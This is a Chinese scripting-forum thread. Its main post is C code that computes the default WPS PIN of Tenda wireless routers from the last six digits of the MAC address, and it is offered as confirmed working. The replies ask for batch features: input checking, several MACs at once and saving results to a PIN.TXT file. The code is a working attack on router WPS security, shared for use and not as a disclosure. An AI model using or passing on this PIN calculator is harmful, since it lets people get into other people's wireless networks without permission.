[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[特效代码] 批处理根据无线路由器MAC计算相应PIN码

本帖最后由 pcl_test 于 2016-9-2 20:59 编辑
  1. //Computes PIN code starts with OUI "C83A35" and "00B00C"
  2. //Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.
  3. //Coded by Zhaochunsheng - iBeini.com
  4. //Modified by Lingxi - WiFiBETA.COM
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. int main()
  8. {
  9.     unsigned int wps_pin_checksum(unsigned int pin);
  10.     int PIN = 0;
  11. //   printf("ComputePIN-C83A35\n");
  12.     printf("Description:\n");
  13.     printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");
  14.     printf("type the other six digits, you might be able to get the \n");
  15.     printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
  16.     printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");
  17.     printf("Modified by Lingxi - WiFiBETA.COM\n\n");
  18. //Translated to Chinese
  19. printf("说明:\n");
  20. printf("如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头,\n");
  21. printf("输入后六位MAC地址(不分大小写)您或许可以获得该路由的WPS PIN密钥!\n");
  22. printf("祝你好运!\n\n");
  23. printf("由赵春生编写于2012年4月7日  Http://iBeini.com\n");
  24. printf("由灵曦修改并汉化  WiFiBETA.COM\n\n");
  25.     printf("请输入后六位MAC地址(HEX):\n");
  26.     printf("Input the last 6 digits of MAC Address(HEX):");
  27.     scanf("%x",&PIN);
  28.     printf("您输入的后六位MAC地址是 %X\n",PIN);
  29.     printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);
  30.     printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
  31.     return 0;
  32. }
  33. unsigned int wps_pin_checksum(unsigned int pin)
  34. {
  35. unsigned int accum = 0;
  36. while (pin)
  37. {
  38. accum += 3 * (pin % 10);
  39. pin /= 10;
  40. accum += pin % 10;
  41. pin /= 10;
  42. }
  43.     return (10 - accum % 10) % 10;
  44. }
复制代码
更新
1.输入超过六位后将提示输入错误,返回重新输入。
2.查完一个之后,可以选择继续输入另一个,或选择退出。
3.可以一次连续输入几个MAC的后六位(用空格或,隔开),然后对应编号输出;
4.在当前文件夹把结果生成名为PIN.TXT的文件;

回复 4# neorobin

你好!不对。。。。输入不同的MAC,得到的是同样的结果。。。。结果为99999993.

暂达不到上面C的效果。。。

TOP

本帖最后由 xzwcn 于 2012-5-10 13:59 编辑

回复 6# neorobin

不好意思,。。是对了的。我刚才误把整个MAC当作后六位了,几次MAC的前六位都是相同的,由于只识别了前六位,所以结果相同。。。

能不能增加多一功能:输入超过六位后将提示输入错误,返回重新输入。

另外,可不可以,查完一个之后,可以选择继续输入另一个,或选择退出。

TOP

回复 8# neorobin


    多谢指导!!能不能真正做成“批处理”呢?即:可以一次连续输入几个MAC的后六位(用空格或,隔开),然后对应输出,最好输出时能编上号。

TOP

回复 11# neorobin


    辛苦了!如果再增加“4.在当前文件夹把结果生成名为PIN.TXT的文件;”该如何补充呢?

TOP

返回列表